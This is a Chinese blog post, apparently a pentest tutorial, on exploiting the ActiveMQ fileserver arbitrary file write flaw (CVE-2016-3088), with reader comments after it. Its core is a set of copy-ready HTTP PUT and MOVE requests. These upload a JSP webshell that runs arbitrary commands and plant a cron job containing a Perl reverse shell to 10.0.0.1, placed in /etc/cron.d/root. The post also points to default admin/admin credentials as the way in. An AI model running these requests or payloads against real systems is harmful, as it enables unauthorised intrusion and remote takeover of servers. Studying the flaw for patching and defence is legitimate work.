ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)

OnionT@KillBoy
OnionT@KillBoy
作者
47
文章
0
粉丝
渗透测试159,176字数 1023阅读3分24秒阅读模式
AI智能摘要
你是否想过,一个无需登录的接口竟可成为入侵系统的突破口?本文深度解析ActiveMQ的任意文件写入漏洞(CVE-2016-3088),揭秘攻击者如何通过fileserver应用的PUT与MOVE请求,实现写入WebShell、植入Cron任务甚至覆盖关键配置文件。涵盖漏洞原理、利用条件、实战步骤与权限限制,带你掌握从路径探测到反弹shell的完整链路,适用于渗透测试与安全加固场景。
— AI 生成的文章内容摘要

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

分别说一下上述几种利用方法。

写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问
默认的ActiveMQ账号密码均为admin,首先访问http://ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片1
然后上传webshell:

PUT /fileserver/1.txt HTTP/1.1 Host: 192.168.0.102:8161 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Length: 380  <%     if("chaplin".equals(request.getParameter("pwd"))){         java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();         int a = -1;         byte[] b = new byte[2048];         out.print("<pre>");         while((a=in.read(b))!=-1){             out.println(new String(b));         }         out.print("</pre>");     } %>

ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片2
移动webshell到web目录下的api文件夹(/opt/activemq/webapps/api/cmd.jsp)中:

MOVE /fileserver/1.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/cmd.jsp Host: 192.168.0.102:8161 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close

ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片3
访问webshell(需要登录),默认的账号密码都是admin,实战中有弱口令就非常棒了:
ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片3
ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片3

写入crontab,自动化弹shell

这是一个比较稳健的方法,首先上传cron配置文件(注意,换行一定要/n,不能是/r/n,否则crontab执行会失败):

PUT /fileserver/2.txt HTTP/1.1 Host: 192.168.0.102:8161 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Length: 241  */1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片4
将其移动到/etc/cron.d/root

MOVE /fileserver/2.txt HTTP/1.1 Destination: file:///etc/cron.d/root Host: 192.168.0.102:8161 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close

ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片5
如果上述两个请求都返回204了,说明写入成功。等待反弹shell:
ActiveMQ任意文件写入漏洞利用(CVE-2016-3088)-图片5
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

写入jetty.xml或jar

理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。

有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。

尚未测试。

http://www.oniont.cn/index.php/archives/283.html

 
OnionT@KillBoy
  • ActiveMQ漏洞
  • CVE-2016-3088
  • it2021
  • it2021.com
  • shell
  • 文件写入漏洞
  • 漏洞利用技术
评论  15  访客  15
    • 幻彩琉璃
      幻彩琉璃 0

      这种漏洞也太老了吧,现在用5.14以后的版本就没事了。

        • 夜行狂
          夜行狂 0

          @ 幻彩琉璃 老洞归老洞,很多内网系统还是老版本,讲清楚没毛病。

        • 晨光微熹
          晨光微熹 0

          之前测试遇到过,fileserver默认关掉确实安全多了。

          • 红尘鬼
            红尘鬼 0

            写crontab弹shell那个方法,如果activemq不是root跑的话是不是就没用了?

            • 风暴之怒
              风暴之怒 0

              实战中遇到admin弱口令的概率大吗?

              • 自信满满
                自信满满 1

                感觉操作步骤挺清晰的,适合入门上手。

                • DewdropReverie
                  DewdropReverie 0

                  有谁试过写入jar文件吗?想知道成功率怎么样。

                  • 云梦
                    云梦 0

                    这个漏洞利用门槛感觉不算高,但前提条件挺多的。

                    • 长城之巅
                      长城之巅 0

                      图片里标出来的路径是关键,不知道绝对路径就挺麻烦的。

                      • LucidHaze
                        LucidHaze 0

                        这种老洞现在在外部互联网上应该很少见了吧,主要在内网?

                        • 夜息蝶
                          夜息蝶 0

                          MOVE请求这个点确实容易被忽略,设计上就有问题。

                          • 旧时光信使
                            旧时光信使 0

                            写入crontab那个方法得是root权限才行,条件有点苛刻了。

                            • 旧书页的温度
                              旧书页的温度 0

                              这个洞确实挺经典的,当年不少中招的。

                            匿名

                            发表评论

                            匿名网友

                            拖动滑块以完成验证